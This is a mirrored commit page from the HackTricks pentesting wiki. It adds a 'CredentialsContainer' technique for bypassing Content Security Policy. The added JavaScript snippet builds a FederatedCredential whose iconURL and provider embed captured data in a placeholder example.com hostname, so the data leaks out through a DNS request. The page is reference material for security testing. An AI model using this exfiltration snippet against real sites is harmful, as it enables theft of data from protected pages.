mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge pull request #1005 from satoki/master
Add CSP Exfiltration Bypass Technic by CredentialsContainer
This commit is contained in:
commit
cfa9c5d271
@ -794,6 +794,22 @@ var pc = new RTCPeerConnection({
|
|||||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### CredentialsContainer
|
||||||
|
|
||||||
|
The credential popup sends a DNS request to the iconURL without being restricted by the page. It only works in a secure context (HTTPS) or on localhost.
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
navigator.credentials.store(
|
||||||
|
new FederatedCredential({
|
||||||
|
id:"satoki",
|
||||||
|
name:"satoki",
|
||||||
|
provider:"https:"+your_data+"example.com",
|
||||||
|
iconURL:"https:"+your_data+"example.com"
|
||||||
|
})
|
||||||
|
)
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## Checking CSP Policies Online
|
## Checking CSP Policies Online
|
||||||
|
|
||||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user